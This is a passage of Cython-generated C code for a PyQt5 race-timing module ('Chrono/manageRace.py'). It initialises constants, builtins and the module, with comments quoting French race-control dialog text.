0, 1, 0, 1}, {&__pyx_n_s_update, __pyx_k_update, sizeof(__pyx_k_update), 0, 0, 1, 1}, {&__pyx_n_u_updated, __pyx_k_updated, sizeof(__pyx_k_updated), 0, 1, 0, 1}, {&__pyx_n_s_val, __pyx_k_val, sizeof(__pyx_k_val), 0, 0, 1, 1}, {&__pyx_n_s_value, __pyx_k_value, sizeof(__pyx_k_value), 0, 0, 1, 1}, {&__pyx_n_u_value, __pyx_k_value, sizeof(__pyx_k_value), 0, 1, 0, 1}, {0, 0, 0, 0, 0, 0, 0} }; static int __Pyx_InitCachedBuiltins(void) { __pyx_builtin_print = __Pyx_GetBuiltinName(__pyx_n_s_print); if (!__pyx_builtin_print) __PYX_ERR(0, 57, __pyx_L1_error) __pyx_builtin_range = __Pyx_GetBuiltinName(__pyx_n_s_range); if (!__pyx_builtin_range) __PYX_ERR(0, 253, __pyx_L1_error) __pyx_builtin_sorted = __Pyx_GetBuiltinName(__pyx_n_s_sorted); if (!__pyx_builtin_sorted) __PYX_ERR(0, 290, __pyx_L1_error) __pyx_builtin_ValueError = __Pyx_GetBuiltinName(__pyx_n_s_ValueError); if (!__pyx_builtin_ValueError) __PYX_ERR(0, 344, __pyx_L1_error) return 0; __pyx_L1_error:; return -1; } static int __Pyx_InitCachedConstants(void) { __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("__Pyx_InitCachedConstants", 0); /* "Chrono/manageRace.py":60 * * def requestDefine( index ): * print("def requestDefine(self):") # <<<<<<<<<<<<<< * if index == 0: # nothing to do.... * return */ __pyx_tuple_ = PyTuple_Pack(1, __pyx_kp_u_def_requestDefine_self); if (unlikely(!__pyx_tuple_)) __PYX_ERR(0, 60, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple_); __Pyx_GIVEREF(__pyx_tuple_); /* "Chrono/manageRace.py":74 * t = gui.durETimeEdit.time() * Globals.raceDuration = t.hour()*3600 + t.minute()*60 * Globals.MainWindow.B_Define.setCurrentIndex( 0 ) # <<<<<<<<<<<<<< * * def stop(self): */ __pyx_tuple__2 = PyTuple_Pack(1, __pyx_int_0); if (unlikely(!__pyx_tuple__2)) __PYX_ERR(0, 74, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__2); __Pyx_GIVEREF(__pyx_tuple__2); /* "Chrono/manageRace.py":81 * msg = QMessageBox() * msg.setIcon( QMessageBox.Critical) * msg.setText( "Arreter la course en cours") # <<<<<<<<<<<<<< * msg.setInformativeText( "Tout le classement sera perdu en cas d'arret") * msg.setWindowTitle( "Stop de course, Drapeau ROUGE") */ __pyx_tuple__3 = PyTuple_Pack(1, __pyx_kp_u_Arreter_la_course_en_cours); if (unlikely(!__pyx_tuple__3)) __PYX_ERR(0, 81, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__3); __Pyx_GIVEREF(__pyx_tuple__3); /* "Chrono/manageRace.py":82 * msg.setIcon( QMessageBox.Critical) * msg.setText( "Arreter la course en cours") * msg.setInformativeText( "Tout le classement sera perdu en cas d'arret") # <<<<<<<<<<<<<< * msg.setWindowTitle( "Stop de course, Drapeau ROUGE") * msg.setStandardButtons( QMessageBox.Ok | QMessageBox.Cancel) */ __pyx_tuple__4 = PyTuple_Pack(1, __pyx_kp_u_Tout_le_classement_sera_perdu_en); if (unlikely(!__pyx_tuple__4)) __PYX_ERR(0, 82, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__4); __Pyx_GIVEREF(__pyx_tuple__4); /* "Chrono/manageRace.py":83 * msg.setText( "Arreter la course en cours") * msg.setInformativeText( "Tout le classement sera perdu en cas d'arret") * msg.setWindowTitle( "Stop de course, Drapeau ROUGE") # <<<<<<<<<<<<<< * msg.setStandardButtons( QMessageBox.Ok | QMessageBox.Cancel) * msg.setDefaultButton( QMessageBox.Cancel ) */ __pyx_tuple__5 = PyTuple_Pack(1, __pyx_kp_u_Stop_de_course_Drapeau_ROUGE); if (unlikely(!__pyx_tuple__5)) __PYX_ERR(0, 83, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__5); __Pyx_GIVEREF(__pyx_tuple__5); /* "Chrono/manageRace.py":86 * msg.setStandardButtons( QMessageBox.Ok | QMessageBox.Cancel) * msg.setDefaultButton( QMessageBox.Cancel ) * chk1 = QCheckBox("Finir le tour") # <<<<<<<<<<<<<< * msg.setCheckBox( chk1 ) * btn = msg.addButton("Suspendre la course", QMessageBox.ActionRole) */ __pyx_tuple__6 = PyTuple_Pack(1, __pyx_kp_u_Finir_le_tour); if (unlikely(!__pyx_tuple__6)) __PYX_ERR(0, 86, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__6); __Pyx_GIVEREF(__pyx_tuple__6); /* "Chrono/manageRace.py":93 * if msg.clickedButton() == btn: * theRace._status = manageRace.cmdSuspended * print( "Suspending Race" ) # <<<<<<<<<<<<<< * else: * if chk1.isChecked(): */ __pyx_tuple__7 = PyTuple_Pack(1, __pyx_kp_u_Suspending_Race); if (unlikely(!__pyx_tuple__7)) __PYX_ERR(0, 93, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__7); __Pyx_GIVEREF(__pyx_tuple__7); /* "Chrono/manageRace.py":96 * else: * if chk1.isChecked(): * print( "Stopping Race, and finishing lap ") # <<<<<<<<<<<<<< * theRace._status = manageRace.cmdFinish * else: */ __pyx_tuple__8 = PyTuple_Pack(1, __pyx_kp_u_Stopping_Race_and_finishing_lap); if (unlikely(!__pyx_tuple__8)) __PYX_ERR(0, 96, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__8); __Pyx_GIVEREF(__pyx_tuple__8); /* "Chrono/manageRace.py":99 * theRace._status = manageRace.cmdFinish * else: * print( "Stopping Race ") # <<<<<<<<<<<<<< * theRace._status = manageRace.cmdStop * theRace.timer.stop() */ __pyx_tuple__9 = PyTuple_Pack(1, __pyx_kp_u_Stopping_Race); if (unlikely(!__pyx_tuple__9)) __PYX_ERR(0, 99, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__9); __Pyx_GIVEREF(__pyx_tuple__9); /* "Chrono/manageRace.py":102 * theRace._status = manageRace.cmdStop * theRace.timer.stop() * Globals.MainWindow.B_Stop.setEnabled(False) # <<<<<<<<<<<<<< * Globals.MainWindow.B_Start.setEnabled(True) * Globals.MainWindow.B_Define.setEnabled(True) */ __pyx_tuple__10 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__10)) __PYX_ERR(0, 102, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__10); __Pyx_GIVEREF(__pyx_tuple__10); /* "Chrono/manageRace.py":103 * theRace.timer.stop() * Globals.MainWindow.B_Stop.setEnabled(False) * Globals.MainWindow.B_Start.setEnabled(True) # <<<<<<<<<<<<<< * Globals.MainWindow.B_Define.setEnabled(True) * */ __pyx_tuple__11 = PyTuple_Pack(1, Py_True); if (unlikely(!__pyx_tuple__11)) __PYX_ERR(0, 103, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__11); __Pyx_GIVEREF(__pyx_tuple__11); /* "Chrono/manageRace.py":104 * Globals.MainWindow.B_Stop.setEnabled(False) * Globals.MainWindow.B_Start.setEnabled(True) * Globals.MainWindow.B_Define.setEnabled(True) # <<<<<<<<<<<<<< * * elif theRace._status == manageRace.cmdFinish: */ __pyx_tuple__12 = PyTuple_Pack(1, Py_True); if (unlikely(!__pyx_tuple__12)) __PYX_ERR(0, 104, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__12); __Pyx_GIVEREF(__pyx_tuple__12); /* "Chrono/manageRace.py":109 * msg = QMessageBox() * msg.setIcon( QMessageBox.Warning) * msg.setText( "Tout les concurrents sont hors du parcours") # <<<<<<<<<<<<<< * msg.setWindowTitle( "Course termine, Drapeau Damier") * msg.setStandardButtons( QMessageBox.Ok | QMessageBox.Cancel) */ __pyx_tuple__13 = PyTuple_Pack(1, __pyx_kp_u_Tout_les_concurrents_sont_hors_d); if (unlikely(!__pyx_tuple__13)) __PYX_ERR(0, 109, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__13); __Pyx_GIVEREF(__pyx_tuple__13); /* "Chrono/manageRace.py":110 * msg.setIcon( QMessageBox.Warning) * msg.setText( "Tout les concurrents sont hors du parcours") * msg.setWindowTitle( "Course termine, Drapeau Damier") # <<<<<<<<<<<<<< * msg.setStandardButtons( QMessageBox.Ok | QMessageBox.Cancel) * msg.setDefaultButton( QMessageBox.Cancel ) */ __pyx_tuple__14 = PyTuple_Pack(1, __pyx_kp_u_Course_termine_Drapeau_Damier); if (unlikely(!__pyx_tuple__14)) __PYX_ERR(0, 110, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__14); __Pyx_GIVEREF(__pyx_tuple__14); /* "Chrono/manageRace.py":115 * if msg.exec() == QMessageBox.Cancel: * return * print( "Race ended, all racer out ") # <<<<<<<<<<<<<< * theRace._status = manageRace.cmdStop * theRace.timer.stop() */ __pyx_tuple__15 = PyTuple_Pack(1, __pyx_kp_u_Race_ended_all_racer_out); if (unlikely(!__pyx_tuple__15)) __PYX_ERR(0, 115, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__15); __Pyx_GIVEREF(__pyx_tuple__15); /* "Chrono/manageRace.py":118 * theRace._status = manageRace.cmdStop * theRace.timer.stop() * Globals.MainWindow.B_Stop.setEnabled(False) # <<<<<<<<<<<<<< * Globals.MainWindow.B_Start.setEnabled(True) * Globals.MainWindow.B_Define.setEnabled(True) */ __pyx_tuple__16 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__16)) __PYX_ERR(0, 118, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__16); __Pyx_GIVEREF(__pyx_tuple__16); /* "Chrono/manageRace.py":119 * theRace.timer.stop() * Globals.MainWindow.B_Stop.setEnabled(False) * Globals.MainWindow.B_Start.setEnabled(True) # <<<<<<<<<<<<<< * Globals.MainWindow.B_Define.setEnabled(True) * */ __pyx_tuple__17 = PyTuple_Pack(1, Py_True); if (unlikely(!__pyx_tuple__17)) __PYX_ERR(0, 119, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__17); __Pyx_GIVEREF(__pyx_tuple__17); /* "Chrono/manageRace.py":120 * Globals.MainWindow.B_Stop.setEnabled(False) * Globals.MainWindow.B_Start.setEnabled(True) * Globals.MainWindow.B_Define.setEnabled(True) # <<<<<<<<<<<<<< * * */ __pyx_tuple__18 = PyTuple_Pack(1, Py_True); if (unlikely(!__pyx_tuple__18)) __PYX_ERR(0, 120, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__18); __Pyx_GIVEREF(__pyx_tuple__18); /* "Chrono/manageRace.py":136 * self.max_time = self.start_time + self._duration * self.remain_lap = -2 * Globals.MainWindow.B_Stop.setEnabled(True) # <<<<<<<<<<<<<< * Globals.MainWindow.B_Start.setEnabled(False) * Globals.MainWindow.B_Define.setEnabled(False) */ __pyx_tuple__19 = PyTuple_Pack(1, Py_True); if (unlikely(!__pyx_tuple__19)) __PYX_ERR(0, 136, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__19); __Pyx_GIVEREF(__pyx_tuple__19); /* "Chrono/manageRace.py":137 * self.remain_lap = -2 * Globals.MainWindow.B_Stop.setEnabled(True) * Globals.MainWindow.B_Start.setEnabled(False) # <<<<<<<<<<<<<< * Globals.MainWindow.B_Define.setEnabled(False) * Globals.MainWindow.R_RaceLive.setColumnCount( self._basecol ) */ __pyx_tuple__20 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__20)) __PYX_ERR(0, 137, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__20); __Pyx_GIVEREF(__pyx_tuple__20); /* "Chrono/manageRace.py":138 * Globals.MainWindow.B_Stop.setEnabled(True) * Globals.MainWindow.B_Start.setEnabled(False) * Globals.MainWindow.B_Define.setEnabled(False) # <<<<<<<<<<<<<< * Globals.MainWindow.R_RaceLive.setColumnCount( self._basecol ) * for i in cols: */ __pyx_tuple__21 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__21)) __PYX_ERR(0, 138, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__21); __Pyx_GIVEREF(__pyx_tuple__21); /* "Chrono/manageRace.py":161 * self.partials = col - self._basecol * Globals.MainWindow.PB_TimeRace.setMaximum( self._duration ) * Globals.MainWindow.PB_TimeRace.setProperty("value", 0) # <<<<<<<<<<<<<< * * self.private = {} */ __pyx_tuple__22 = PyTuple_Pack(2, __pyx_n_u_value, __pyx_int_0); if (unlikely(!__pyx_tuple__22)) __PYX_ERR(0, 161, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__22); __Pyx_GIVEREF(__pyx_tuple__22); /* "Chrono/manageRace.py":166 * self.timer = QTimer() * self.timer.timeout.connect(self.update) * self.timer.start(1000) # <<<<<<<<<<<<<< * * */ __pyx_tuple__23 = PyTuple_Pack(1, __pyx_int_1000); if (unlikely(!__pyx_tuple__23)) __PYX_ERR(0, 166, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__23); __Pyx_GIVEREF(__pyx_tuple__23); /* "Chrono/manageRace.py":170 * * def update(self): * def setLine( color, row, column, text, icon = None): # <<<<<<<<<<<<<< * try: * brush = QBrush(color) */ __pyx_tuple__24 = PyTuple_Pack(8, __pyx_n_s_color, __pyx_n_s_row, __pyx_n_s_column, __pyx_n_s_text, __pyx_n_s_icon, __pyx_n_s_brush, __pyx_n_s_i, __pyx_n_s_e); if (unlikely(!__pyx_tuple__24)) __PYX_ERR(0, 170, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__24); __Pyx_GIVEREF(__pyx_tuple__24); __pyx_codeobj__25 = (PyObject*)__Pyx_PyCode_New(5, 0, 8, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__24, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_n_s_setLine, 170, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__25)) __PYX_ERR(0, 170, __pyx_L1_error) __pyx_tuple__26 = PyTuple_Pack(1, ((PyObject *)Py_None)); if (unlikely(!__pyx_tuple__26)) __PYX_ERR(0, 170, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__26); __Pyx_GIVEREF(__pyx_tuple__26); /* "Chrono/manageRace.py":216 * self.doRace( tp, millis, type) * except Exception as e: * print("in manageRace.update") # <<<<<<<<<<<<<< * print( e ) * */ __pyx_tuple__27 = PyTuple_Pack(1, __pyx_kp_u_in_manageRace_update); if (unlikely(!__pyx_tuple__27)) __PYX_ERR(0, 216, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__27); __Pyx_GIVEREF(__pyx_tuple__27); /* "Chrono/manageRace.py":242 * Globals.MainWindow.toolBox.indexOf( * Globals.MainWindow.P_Race), * QCoreApplication.translate("MainWindow", "Course, Meilleur tour: %s => %d, %s dans le tour: %d")% # <<<<<<<<<<<<<< * ( createTime(self.bestLap), * tt["ridernum"], tt["ridername"], */ __pyx_tuple__28 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_kp_u_Course_Meilleur_tour_s_d_s_dans); if (unlikely(!__pyx_tuple__28)) __PYX_ERR(0, 242, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__28); __Pyx_GIVEREF(__pyx_tuple__28); /* "Chrono/manageRace.py":345 * * except ValueError: * print("got an error") # <<<<<<<<<<<<<< */ __pyx_tuple__30 = PyTuple_Pack(1, __pyx_kp_u_got_an_error); if (unlikely(!__pyx_tuple__30)) __PYX_ERR(0, 345, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__30); __Pyx_GIVEREF(__pyx_tuple__30); /* "Chrono/manageRace.py":53 * maxrows = 0 * * def __init__(self, duration, laps, status=cmdWaiting): # <<<<<<<<<<<<<< * self._duration = duration * self._laps = laps */ __pyx_tuple__31 = PyTuple_Pack(4, __pyx_n_s_self, __pyx_n_s_duration, __pyx_n_s_laps, __pyx_n_s_status); if (unlikely(!__pyx_tuple__31)) __PYX_ERR(0, 53, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__31); __Pyx_GIVEREF(__pyx_tuple__31); __pyx_codeobj__32 = (PyObject*)__Pyx_PyCode_New(4, 0, 4, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__31, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_n_s_init, 53, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__32)) __PYX_ERR(0, 53, __pyx_L1_error) /* "Chrono/manageRace.py":59 * print("manageRace.__init__(%d, %d, %s)"%(duration, laps, status)) * * def requestDefine( index ): # <<<<<<<<<<<<<< * print("def requestDefine(self):") * if index == 0: # nothing to do.... */ __pyx_tuple__33 = PyTuple_Pack(4, __pyx_n_s_index, __pyx_n_s_dlg, __pyx_n_s_gui, __pyx_n_s_t); if (unlikely(!__pyx_tuple__33)) __PYX_ERR(0, 59, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__33); __Pyx_GIVEREF(__pyx_tuple__33); __pyx_codeobj__34 = (PyObject*)__Pyx_PyCode_New(1, 0, 4, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__33, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_n_s_requestDefine, 59, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__34)) __PYX_ERR(0, 59, __pyx_L1_error) /* "Chrono/manageRace.py":76 * Globals.MainWindow.B_Define.setCurrentIndex( 0 ) * * def stop(self): # <<<<<<<<<<<<<< * theRace = Globals.MainWindow.getActualRace() * if theRace._status == manageRace.cmdStart or theRace._status == manageRace.cmdEndTime: */ __pyx_tuple__35 = PyTuple_Pack(5, __pyx_n_s_self, __pyx_n_s_theRace, __pyx_n_s_msg, __pyx_n_s_chk1, __pyx_n_s_btn); if (unlikely(!__pyx_tuple__35)) __PYX_ERR(0, 76, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__35); __Pyx_GIVEREF(__pyx_tuple__35); __pyx_codeobj__36 = (PyObject*)__Pyx_PyCode_New(1, 0, 5, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__35, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_n_s_stop, 76, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__36)) __PYX_ERR(0, 76, __pyx_L1_error) /* "Chrono/manageRace.py":124 * * * def start(self): # <<<<<<<<<<<<<< * if self._status != self.cmdWaiting: * return */ __pyx_tuple__37 = PyTuple_Pack(7, __pyx_n_s_self, __pyx_n_s_i, __pyx_n_s_col, __pyx_n_s_task, __pyx_n_s_r, __pyx_n_s_t, __pyx_n_s_item); if (unlikely(!__pyx_tuple__37)) __PYX_ERR(0, 124, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__37); __Pyx_GIVEREF(__pyx_tuple__37); __pyx_codeobj__38 = (PyObject*)__Pyx_PyCode_New(1, 0, 7, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__37, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_n_s_start, 124, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__38)) __PYX_ERR(0, 124, __pyx_L1_error) /* "Chrono/manageRace.py":169 * * * def update(self): # <<<<<<<<<<<<<< * def setLine( color, row, column, text, icon = None): * try: */ __pyx_tuple__39 = PyTuple_Pack(19, __pyx_n_s_self, __pyx_n_s_setLine, __pyx_n_s_setLine, __pyx_n_s_curtime, __pyx_n_s_task, __pyx_n_s_r, __pyx_n_s_q, __pyx_n_s_e, __pyx_n_s_tp, __pyx_n_s_millis, __pyx_n_s_type, __pyx_n_s_l, __pyx_n_s_tt, __pyx_n_s_row, __pyx_n_s_tick, __pyx_n_s_dur, __pyx_n_s_i, __pyx_n_s_val, __pyx_n_s_txt); if (unlikely(!__pyx_tuple__39)) __PYX_ERR(0, 169, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__39); __Pyx_GIVEREF(__pyx_tuple__39); __pyx_codeobj__40 = (PyObject*)__Pyx_PyCode_New(1, 0, 19, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__39, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_n_s_update, 169, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__40)) __PYX_ERR(0, 169, __pyx_L1_error) /* "Chrono/manageRace.py":264 * Globals.MainWindow.R_RaceLive.sortItems(0, Qt.DescendingOrder) * * def doRace( self, tp, millis, type ): # <<<<<<<<<<<<<< * lap = 0 * raceTime = int(time()) */ __pyx_tuple__41 = PyTuple_Pack(11, __pyx_n_s_self, __pyx_n_s_tp, __pyx_n_s_millis, __pyx_n_s_type, __pyx_n_s_lap, __pyx_n_s_raceTime, __pyx_n_s_tt, __pyx_n_s_ptt, __pyx_n_s_cl, __pyx_n_s_c, __pyx_n_s_i); if (unlikely(!__pyx_tuple__41)) __PYX_ERR(0, 264, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__41); __Pyx_GIVEREF(__pyx_tuple__41); __pyx_codeobj__42 = (PyObject*)__Pyx_PyCode_New(4, 0, 11, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__41, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_n_s_doRace, 264, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__42)) __PYX_ERR(0, 264, __pyx_L1_error) __Pyx_RefNannyFinishContext(); return 0; __pyx_L1_error:; __Pyx_RefNannyFinishContext(); return -1; } static int __Pyx_InitGlobals(void) { if (__Pyx_InitStrings(__pyx_string_tab) < 0) __PYX_ERR(0, 1, __pyx_L1_error); __pyx_int_0 = PyInt_FromLong(0); if (unlikely(!__pyx_int_0)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_1 = PyInt_FromLong(1); if (unlikely(!__pyx_int_1)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_2 = PyInt_FromLong(2); if (unlikely(!__pyx_int_2)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_3 = PyInt_FromLong(3); if (unlikely(!__pyx_int_3)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_4 = PyInt_FromLong(4); if (unlikely(!__pyx_int_4)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_5 = PyInt_FromLong(5); if (unlikely(!__pyx_int_5)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_6 = PyInt_FromLong(6); if (unlikely(!__pyx_int_6)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_7 = PyInt_FromLong(7); if (unlikely(!__pyx_int_7)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_8 = PyInt_FromLong(8); if (unlikely(!__pyx_int_8)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_12 = PyInt_FromLong(12); if (unlikely(!__pyx_int_12)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_26 = PyInt_FromLong(26); if (unlikely(!__pyx_int_26)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_60 = PyInt_FromLong(60); if (unlikely(!__pyx_int_60)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_1000 = PyInt_FromLong(1000); if (unlikely(!__pyx_int_1000)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_3600 = PyInt_FromLong(3600); if (unlikely(!__pyx_int_3600)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_4000 = PyInt_FromLong(4000); if (unlikely(!__pyx_int_4000)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_neg_1 = PyInt_FromLong(-1); if (unlikely(!__pyx_int_neg_1)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_neg_2 = PyInt_FromLong(-2); if (unlikely(!__pyx_int_neg_2)) __PYX_ERR(0, 1, __pyx_L1_error) return 0; __pyx_L1_error:; return -1; } #if PY_MAJOR_VERSION < 3 PyMODINIT_FUNC initmanageRace(void); /*proto*/ PyMODINIT_FUNC initmanageRace(void) #else PyMODINIT_FUNC PyInit_manageRace(void); /*proto*/ PyMODINIT_FUNC PyInit_manageRace(void) #endif { PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; PyObject *__pyx_t_3 = NULL; __Pyx_RefNannyDeclarations #if CYTHON_REFNANNY __Pyx_RefNanny = __Pyx_RefNannyImportAPI("refnanny"); if (!__Pyx_RefNanny) { PyErr_Clear(); __Pyx_RefNanny = __Pyx_RefNannyImportAPI("Cython.Runtime.refnanny"); if (!__Pyx_RefNanny) Py_FatalError("failed to import 'refnanny' module"); } #endif __Pyx_RefNannySetupContext("PyMODINIT_FUNC PyInit_manageRace(void)", 0); if (__Pyx_check_binary_version() < 0) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_empty_tuple = PyTuple_New(0); if (unlikely(!__pyx_empty_tuple)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_empty_bytes = PyBytes_FromStringAndSize("", 0); if (unlikely(!__pyx_empty_bytes)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_empty_unicode = PyUnicode_FromStringAndSize("", 0); if (unlikely(!__pyx_empty_unicode)) __PYX_ERR(0, 1, __pyx_L1_error) #ifdef __Pyx_CyFunction_USED if (__pyx_CyFunction_init() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif #ifdef __Pyx_FusedFunction_USED if (__pyx_FusedFunction_init() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif #ifdef __Pyx_Coroutine_USED if (__pyx_Coroutine_init() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif #ifdef __Pyx_Generator_USED if (__pyx_Generator_init() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif #ifdef __Pyx_StopAsyncIteration_USED if (__pyx_StopAsyncIteration_init() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif /*--- Library function declarations ---*/ /*--- Threads initialization code ---*/ #if defined(__PYX_FORCE_INIT_THREADS) && __PYX_FORCE_INIT_THREADS #ifdef WITH_THREAD /* Python build with threading support? */ PyEval_InitThreads(); #endif #endif /*--- Module creation code ---*/ #if PY_MAJOR_VERSION < 3 __pyx_m = Py_InitModule4("manageRace", __pyx_methods, 0, 0, PYTHON_API_VERSION); Py_XINCREF(__pyx_m); #else __pyx_m = PyModule_Create(&__pyx_moduledef); #endif if (unlikely(!__pyx_m)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_d = PyModule_GetDict(__pyx_m); if (unlikely(!__pyx_d)) __PYX_ERR(0, 1, __pyx_L1_error) Py_INCREF(__pyx_d); __pyx_b = PyImport_AddModule(__Pyx_BUILTIN_MODULE_NAME); if (unlikely(!__pyx_b)) __PYX_ERR(0, 1, __pyx_L1_error) #if CYTHON_COMPILING_IN_PYPY Py_INCREF(__pyx_b); #endif if (PyObject_SetAttrString(__pyx_m, "__builtins__", __pyx_b) < 0) __PYX_ERR(0, 1, __pyx_L1_error); /*--- Initialize various global constants etc. ---*/ if (__Pyx_InitGlobals() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #if PY_MAJOR_VERSION < 3 && (__PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT) if (__Pyx_init_sys_getdefaultencoding_params() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif if (__pyx_module_is_main_Chrono__manageRace) { if (PyObject_SetAttrString(__pyx_m, "__name__", __pyx_n_s_main) < 0) __PYX_ERR(0, 1, __pyx_L1_error) } #if PY_MAJOR_VERSION >= 3 { PyObject *modules = PyImport_GetModuleDict(); if (unlikely(!modules)) __PYX_ERR(0, 1, __pyx_L1_error) if (!PyDict_GetItemString(modules, "Chrono.manageRace")) { if (unlikely(PyDict_SetItemString(modules, "Chrono.manageRace", __pyx_m) < 0)) __PYX_ERR(0, 1, __pyx_L1_error) } } #endif /*--- Builtin init code ---*/ if (__Pyx_InitCachedBuiltins() < 0) __PYX_ERR(0, 1, __pyx_L1_error) /*--- Constants init code ---*/ if (__Pyx_InitCachedConstants() < 0) __PYX_ERR(0, 1, __pyx_L1_error) /*--- Global init code ---*/ /*--- Variable export code ---*/ /*--- Function export code ---*/ /*--- Type init code ---*/ /*--- Type import code ---*/ /*--- Variable import code ---*/ /*--- Function import code ---*/ /*--- Execution code ---*/ #if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) if (__Pyx_patch_abc() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif /* "Chrono/manageRace.py":5 * # (c) <NAME>, <EMAIL>, mars 2018 # * ###################################################################################### * from time import time # <<<<<<<<<<<<<< * from PyQt5.QtCore import QTimer, Qt, QTime * from PyQt5.QtCore import QCoreApplication */ __pyx_t_1 = PyList_New(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 5, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_INCREF(__pyx_n_s_time); __Pyx_GIVEREF(__pyx_n_s_time); PyList_SET_ITEM(__pyx_t_1, 0, __pyx_n_s_time); __pyx_t_2 = __Pyx_Import(__pyx_n_s_time, __pyx_t_1, 0); if (unlikely(!__pyx_t_2)) 